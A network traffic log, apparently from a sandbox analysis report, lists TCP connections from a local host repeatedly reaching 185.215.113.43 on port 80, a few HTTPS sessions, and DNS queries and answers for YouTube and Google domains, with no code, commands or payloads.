Oct 3, 2024 03:34:12.524059057 CEST	64713	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:12.524209976 CEST	64714	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:12.528995991 CEST	80	64714	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:13.227163076 CEST	80	64714	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:13.227211952 CEST	64714	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:14.848505974 CEST	64714	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:14.848900080 CEST	64715	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:14.853898048 CEST	80	64715	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:14.853977919 CEST	64715	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:14.854346991 CEST	64715	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:14.859102964 CEST	80	64715	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:14.866473913 CEST	80	64714	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:14.866528034 CEST	64714	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:15.597121954 CEST	80	64715	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:15.603430033 CEST	64715	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:17.113390923 CEST	64715	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:17.113898993 CEST	64716	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:17.118907928 CEST	80	64715	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:17.118954897 CEST	80	64716	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:17.118993044 CEST	64715	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:17.119031906 CEST	64716	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:17.119141102 CEST	64716	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:17.123969078 CEST	80	64716	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:17.822299004 CEST	80	64716	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:17.825095892 CEST	64716	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:18.499429941 CEST	64717	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:34:18.499528885 CEST	443	64717	40.113.110.67	192.168.2.5
Oct 3, 2024 03:34:18.500494003 CEST	64717	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:34:18.500494003 CEST	64717	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:34:18.500575066 CEST	443	64717	40.113.110.67	192.168.2.5
Oct 3, 2024 03:34:19.306159973 CEST	443	64717	40.113.110.67	192.168.2.5
Oct 3, 2024 03:34:19.306297064 CEST	64717	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:34:19.308382034 CEST	64717	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:34:19.308415890 CEST	443	64717	40.113.110.67	192.168.2.5
Oct 3, 2024 03:34:19.309192896 CEST	443	64717	40.113.110.67	192.168.2.5
Oct 3, 2024 03:34:19.311203957 CEST	64717	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:34:19.311278105 CEST	64717	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:34:19.311290979 CEST	443	64717	40.113.110.67	192.168.2.5
Oct 3, 2024 03:34:19.311424971 CEST	64717	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:34:19.359402895 CEST	443	64717	40.113.110.67	192.168.2.5
Oct 3, 2024 03:34:19.457051039 CEST	64716	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:19.457432985 CEST	64718	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:19.462625980 CEST	80	64718	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:19.462670088 CEST	80	64716	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:19.462706089 CEST	64718	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:19.462729931 CEST	64716	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:19.462928057 CEST	64718	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:19.467842102 CEST	80	64718	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:19.481194973 CEST	443	64717	40.113.110.67	192.168.2.5
Oct 3, 2024 03:34:19.481390953 CEST	443	64717	40.113.110.67	192.168.2.5
Oct 3, 2024 03:34:19.482697010 CEST	64717	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:34:19.482697010 CEST	64717	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:34:19.829591036 CEST	64717	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:34:19.829643011 CEST	443	64717	40.113.110.67	192.168.2.5
Oct 3, 2024 03:34:20.172602892 CEST	80	64718	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:20.174563885 CEST	64718	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:21.690715075 CEST	64718	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:21.691137075 CEST	64719	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:21.695813894 CEST	80	64718	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:21.695916891 CEST	80	64719	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:21.695916891 CEST	64718	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:21.701987982 CEST	64719	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:21.702408075 CEST	64719	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:21.707170010 CEST	80	64719	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:22.414685965 CEST	80	64719	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:22.423408985 CEST	64719	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:24.050422907 CEST	64719	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:24.050549030 CEST	64720	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:24.055361032 CEST	80	64720	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:24.055548906 CEST	80	64719	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:24.058584929 CEST	64719	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:24.058590889 CEST	64720	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:24.058844090 CEST	64720	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:24.063644886 CEST	80	64720	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:24.751261950 CEST	80	64720	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:24.751327038 CEST	64720	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:26.269443035 CEST	64720	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:26.269460917 CEST	64721	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:26.274544001 CEST	80	64721	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:26.275116920 CEST	80	64720	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:26.275230885 CEST	64720	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:26.275243998 CEST	64721	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:26.275682926 CEST	64721	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:26.280478001 CEST	80	64721	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:26.990504980 CEST	80	64721	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:26.990582943 CEST	64721	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:28.612534046 CEST	64721	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:28.612864971 CEST	64722	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:28.617672920 CEST	80	64722	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:28.617697954 CEST	80	64721	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:28.617743015 CEST	64722	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:28.617773056 CEST	64721	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:28.618025064 CEST	64722	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:28.622792959 CEST	80	64722	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:29.324857950 CEST	80	64722	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:29.324929953 CEST	64722	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:29.407084942 CEST	64722	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:29.412353039 CEST	80	64722	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:29.412415028 CEST	64722	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:30.833921909 CEST	64723	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:30.838982105 CEST	80	64723	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:30.839087009 CEST	64723	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:30.839529991 CEST	64723	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:30.844366074 CEST	80	64723	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:31.534975052 CEST	80	64723	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:31.538558006 CEST	64723	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:33.161832094 CEST	64723	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:33.162369967 CEST	64724	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:33.167098045 CEST	80	64723	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:33.167152882 CEST	64723	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:33.167193890 CEST	80	64724	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:33.167268038 CEST	64724	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:33.167563915 CEST	64724	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:33.172358990 CEST	80	64724	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:33.856184006 CEST	80	64724	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:33.858447075 CEST	64724	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:35.363946915 CEST	64724	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:35.364350080 CEST	64725	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:35.369174957 CEST	80	64725	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:35.369246006 CEST	64725	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:35.369283915 CEST	80	64724	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:35.369339943 CEST	64724	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:35.369513988 CEST	64725	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:35.374294996 CEST	80	64725	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:36.082956076 CEST	80	64725	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:36.090487003 CEST	64725	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:37.708584070 CEST	64726	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:37.708584070 CEST	64725	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:37.713490963 CEST	80	64726	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:37.713694096 CEST	80	64725	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:37.713776112 CEST	64726	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:37.713776112 CEST	64725	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:37.714109898 CEST	64726	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:37.718864918 CEST	80	64726	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:38.425805092 CEST	80	64726	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:38.426136971 CEST	64726	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:39.940476894 CEST	64726	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:39.940819979 CEST	64727	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:39.945892096 CEST	80	64726	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:39.945908070 CEST	80	64727	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:39.946078062 CEST	64727	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:39.946430922 CEST	64726	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:39.946439028 CEST	64727	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:39.951232910 CEST	80	64727	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:40.661691904 CEST	80	64727	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:40.661751032 CEST	64727	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:42.286468983 CEST	64728	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:42.286473036 CEST	64727	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:42.291404963 CEST	80	64728	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:42.291537046 CEST	64728	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:42.291663885 CEST	64728	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:42.291798115 CEST	80	64727	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:42.291934967 CEST	64727	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:42.296391964 CEST	80	64728	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:43.016670942 CEST	80	64728	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:43.016845942 CEST	64728	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:44.535573959 CEST	64728	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:44.535581112 CEST	64729	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:44.540498018 CEST	80	64729	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:44.540559053 CEST	64729	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:44.540725946 CEST	64729	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:44.540924072 CEST	80	64728	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:44.540967941 CEST	64728	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:44.545449972 CEST	80	64729	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:45.273308039 CEST	80	64729	185.215.113.43	192.168.2.5
Oct 3, 2024 03:34:45.273380995 CEST	64729	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:34:49.916466951 CEST	64730	443	192.168.2.5	40.113.103.199
Oct 3, 2024 03:34:49.916518927 CEST	443	64730	40.113.103.199	192.168.2.5
Oct 3, 2024 03:34:49.916588068 CEST	64730	443	192.168.2.5	40.113.103.199
Oct 3, 2024 03:34:49.917233944 CEST	64730	443	192.168.2.5	40.113.103.199
Oct 3, 2024 03:34:49.917248011 CEST	443	64730	40.113.103.199	192.168.2.5
Oct 3, 2024 03:34:50.727088928 CEST	443	64730	40.113.103.199	192.168.2.5
Oct 3, 2024 03:34:50.727206945 CEST	64730	443	192.168.2.5	40.113.103.199
Oct 3, 2024 03:34:50.728914022 CEST	64730	443	192.168.2.5	40.113.103.199
Oct 3, 2024 03:34:50.728945971 CEST	443	64730	40.113.103.199	192.168.2.5
Oct 3, 2024 03:34:50.729183912 CEST	443	64730	40.113.103.199	192.168.2.5
Oct 3, 2024 03:34:50.730271101 CEST	64730	443	192.168.2.5	40.113.103.199
Oct 3, 2024 03:34:50.730314970 CEST	64730	443	192.168.2.5	40.113.103.199
Oct 3, 2024 03:34:50.730320930 CEST	443	64730	40.113.103.199	192.168.2.5
Oct 3, 2024 03:34:50.730397940 CEST	64730	443	192.168.2.5	40.113.103.199
Oct 3, 2024 03:34:50.775407076 CEST	443	64730	40.113.103.199	192.168.2.5
Oct 3, 2024 03:34:50.911959887 CEST	443	64730	40.113.103.199	192.168.2.5
Oct 3, 2024 03:34:50.912221909 CEST	443	64730	40.113.103.199	192.168.2.5
Oct 3, 2024 03:34:50.912298918 CEST	64730	443	192.168.2.5	40.113.103.199
Oct 3, 2024 03:34:50.912486076 CEST	64730	443	192.168.2.5	40.113.103.199
Oct 3, 2024 03:34:50.912512064 CEST	443	64730	40.113.103.199	192.168.2.5
Oct 3, 2024 03:34:50.912532091 CEST	64730	443	192.168.2.5	40.113.103.199

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 03:27:13.357229948 CEST	52230	53	192.168.2.5	1.1.1.1
Oct 3, 2024 03:27:13.357508898 CEST	52732	53	192.168.2.5	1.1.1.1
Oct 3, 2024 03:27:13.363686085 CEST	53	52230	1.1.1.1	192.168.2.5
Oct 3, 2024 03:27:13.364495039 CEST	53	52732	1.1.1.1	192.168.2.5
Oct 3, 2024 03:27:13.366247892 CEST	53	60550	1.1.1.1	192.168.2.5
Oct 3, 2024 03:27:13.481574059 CEST	53	55045	1.1.1.1	192.168.2.5
Oct 3, 2024 03:27:14.467190027 CEST	57434	53	192.168.2.5	1.1.1.1
Oct 3, 2024 03:27:14.467525959 CEST	55592	53	192.168.2.5	1.1.1.1
Oct 3, 2024 03:27:14.473953009 CEST	53	57434	1.1.1.1	192.168.2.5
Oct 3, 2024 03:27:14.474023104 CEST	53	55592	1.1.1.1	192.168.2.5
Oct 3, 2024 03:27:14.496675014 CEST	53	60281	1.1.1.1	192.168.2.5
Oct 3, 2024 03:27:17.887553930 CEST	59758	53	192.168.2.5	1.1.1.1
Oct 3, 2024 03:27:17.887968063 CEST	56395	53	192.168.2.5	1.1.1.1
Oct 3, 2024 03:27:17.898643970 CEST	53	59758	1.1.1.1	192.168.2.5
Oct 3, 2024 03:27:17.898962021 CEST	53	56395	1.1.1.1	192.168.2.5
Oct 3, 2024 03:27:18.493417025 CEST	53	50875	1.1.1.1	192.168.2.5
Oct 3, 2024 03:27:21.805304050 CEST	53	61651	1.1.1.1	192.168.2.5
Oct 3, 2024 03:27:31.508687973 CEST	53	51140	1.1.1.1	192.168.2.5
Oct 3, 2024 03:27:50.508848906 CEST	53	54632	1.1.1.1	192.168.2.5
Oct 3, 2024 03:28:13.273864985 CEST	53	60407	1.1.1.1	192.168.2.5
Oct 3, 2024 03:28:13.363255978 CEST	53	51115	1.1.1.1	192.168.2.5
Oct 3, 2024 03:28:43.181682110 CEST	53	55193	1.1.1.1	192.168.2.5
Oct 3, 2024 03:29:02.685305119 CEST	61415	53	192.168.2.5	1.1.1.1
Oct 3, 2024 03:29:02.685535908 CEST	50272	53	192.168.2.5	1.1.1.1
Oct 3, 2024 03:29:02.691903114 CEST	53	61415	1.1.1.1	192.168.2.5
Oct 3, 2024 03:29:02.692703962 CEST	53	50272	1.1.1.1	192.168.2.5
Oct 3, 2024 03:29:02.693837881 CEST	53	56783	1.1.1.1	192.168.2.5
Oct 3, 2024 03:29:02.695993900 CEST	53	51393	1.1.1.1	192.168.2.5
Oct 3, 2024 03:29:03.638030052 CEST	58692	53	192.168.2.5	1.1.1.1
Oct 3, 2024 03:29:03.638030052 CEST	55519	53	192.168.2.5	1.1.1.1
Oct 3, 2024 03:29:03.644948006 CEST	53	55519	1.1.1.1	192.168.2.5
Oct 3, 2024 03:29:03.644962072 CEST	53	58692	1.1.1.1	192.168.2.5
Oct 3, 2024 03:29:03.674933910 CEST	53	51581	1.1.1.1	192.168.2.5
Oct 3, 2024 03:29:07.231095076 CEST	61279	53	192.168.2.5	1.1.1.1
Oct 3, 2024 03:29:07.231095076 CEST	53731	53	192.168.2.5	1.1.1.1
Oct 3, 2024 03:29:07.238568068 CEST	53	61279	1.1.1.1	192.168.2.5
Oct 3, 2024 03:29:07.238584995 CEST	53	53731	1.1.1.1	192.168.2.5
Oct 3, 2024 03:29:12.209465981 CEST	50411	53	192.168.2.5	1.1.1.1
Oct 3, 2024 03:29:12.209796906 CEST	52566	53	192.168.2.5	1.1.1.1
Oct 3, 2024 03:29:12.216320038 CEST	53	50411	1.1.1.1	192.168.2.5
Oct 3, 2024 03:29:12.221980095 CEST	53	52566	1.1.1.1	192.168.2.5
Oct 3, 2024 03:29:12.230890989 CEST	53	57239	1.1.1.1	192.168.2.5
Oct 3, 2024 03:29:13.303442955 CEST	53708	53	192.168.2.5	1.1.1.1
Oct 3, 2024 03:29:13.303606033 CEST	53425	53	192.168.2.5	1.1.1.1
Oct 3, 2024 03:29:13.310323000 CEST	53	53708	1.1.1.1	192.168.2.5
Oct 3, 2024 03:29:13.310475111 CEST	53	53425	1.1.1.1	192.168.2.5
Oct 3, 2024 03:29:41.864909887 CEST	138	138	192.168.2.5	192.168.2.255
Oct 3, 2024 03:31:52.081672907 CEST	53	62986	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 3, 2024 03:27:13.357229948 CEST	192.168.2.5	1.1.1.1	0xdcfd	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:27:13.357508898 CEST	192.168.2.5	1.1.1.1	0x89e7	Standard query (0)	youtube.com	65	IN (0x0001)	false
Oct 3, 2024 03:27:14.467190027 CEST	192.168.2.5	1.1.1.1	0xbade	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:27:14.467525959 CEST	192.168.2.5	1.1.1.1	0xe9cb	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
Oct 3, 2024 03:27:17.887553930 CEST	192.168.2.5	1.1.1.1	0xe47f	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:27:17.887968063 CEST	192.168.2.5	1.1.1.1	0xf0af	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 3, 2024 03:29:02.685305119 CEST	192.168.2.5	1.1.1.1	0xd531	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:29:02.685535908 CEST	192.168.2.5	1.1.1.1	0xbc35	Standard query (0)	youtube.com	65	IN (0x0001)	false
Oct 3, 2024 03:29:03.638030052 CEST	192.168.2.5	1.1.1.1	0xccb4	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:29:03.638030052 CEST	192.168.2.5	1.1.1.1	0xa084	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
Oct 3, 2024 03:29:07.231095076 CEST	192.168.2.5	1.1.1.1	0x4a80	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:29:07.231095076 CEST	192.168.2.5	1.1.1.1	0x5a8b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 3, 2024 03:29:12.209465981 CEST	192.168.2.5	1.1.1.1	0xfb57	Standard query (0)	accounts.youtube.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:29:12.209796906 CEST	192.168.2.5	1.1.1.1	0xd172	Standard query (0)	accounts.youtube.com	65	IN (0x0001)	false
Oct 3, 2024 03:29:13.303442955 CEST	192.168.2.5	1.1.1.1	0x8524	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:29:13.303606033 CEST	192.168.2.5	1.1.1.1	0x9088	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 3, 2024 03:27:13.363686085 CEST	1.1.1.1	192.168.2.5	0xdcfd	No error (0)	youtube.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:27:13.364495039 CEST	1.1.1.1	192.168.2.5	0x89e7	No error (0)	youtube.com			65	IN (0x0001)	false
Oct 3, 2024 03:27:14.473953009 CEST	1.1.1.1	192.168.2.5	0xbade	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 03:27:14.473953009 CEST	1.1.1.1	192.168.2.5	0xbade	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:27:14.473953009 CEST	1.1.1.1	192.168.2.5	0xbade	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:27:14.473953009 CEST	1.1.1.1	192.168.2.5	0xbade	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:27:14.473953009 CEST	1.1.1.1	192.168.2.5	0xbade	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:27:14.473953009 CEST	1.1.1.1	192.168.2.5	0xbade	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:27:14.473953009 CEST	1.1.1.1	192.168.2.5	0xbade	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:27:14.473953009 CEST	1.1.1.1	192.168.2.5	0xbade	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:27:14.473953009 CEST	1.1.1.1	192.168.2.5	0xbade	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:27:14.473953009 CEST	1.1.1.1	192.168.2.5	0xbade	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:27:14.473953009 CEST	1.1.1.1	192.168.2.5	0xbade	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:27:14.473953009 CEST	1.1.1.1	192.168.2.5	0xbade	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:27:14.473953009 CEST	1.1.1.1	192.168.2.5	0xbade	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:27:14.473953009 CEST	1.1.1.1	192.168.2.5	0xbade	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:27:14.473953009 CEST	1.1.1.1	192.168.2.5	0xbade	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:27:14.473953009 CEST	1.1.1.1	192.168.2.5	0xbade	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:27:14.473953009 CEST	1.1.1.1	192.168.2.5	0xbade	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:27:14.474023104 CEST	1.1.1.1	192.168.2.5	0xe9cb	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 03:27:14.474023104 CEST	1.1.1.1	192.168.2.5	0xe9cb	No error (0)	youtube-ui.l.google.com			65	IN (0x0001)	false
Oct 3, 2024 03:27:17.898643970 CEST	1.1.1.1	192.168.2.5	0xe47f	No error (0)	www.google.com		142.250.186.132	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:27:17.898962021 CEST	1.1.1.1	192.168.2.5	0xf0af	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 3, 2024 03:29:02.691903114 CEST	1.1.1.1	192.168.2.5	0xd531	No error (0)	youtube.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:29:02.692703962 CEST	1.1.1.1	192.168.2.5	0xbc35	No error (0)	youtube.com			65	IN (0x0001)	false
Oct 3, 2024 03:29:03.644948006 CEST	1.1.1.1	192.168.2.5	0xa084	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 03:29:03.644948006 CEST	1.1.1.1	192.168.2.5	0xa084	No error (0)	youtube-ui.l.google.com			65	IN (0x0001)	false
Oct 3, 2024 03:29:03.644962072 CEST	1.1.1.1	192.168.2.5	0xccb4	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 03:29:03.644962072 CEST	1.1.1.1	192.168.2.5	0xccb4	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:29:03.644962072 CEST	1.1.1.1	192.168.2.5	0xccb4	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:29:03.644962072 CEST	1.1.1.1	192.168.2.5	0xccb4	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:29:03.644962072 CEST	1.1.1.1	192.168.2.5	0xccb4	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:29:03.644962072 CEST	1.1.1.1	192.168.2.5	0xccb4	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:29:03.644962072 CEST	1.1.1.1	192.168.2.5	0xccb4	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
